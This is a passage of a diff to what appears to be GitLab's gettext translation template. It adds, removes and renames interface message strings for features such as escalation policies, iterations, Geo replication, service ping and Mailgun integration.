msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
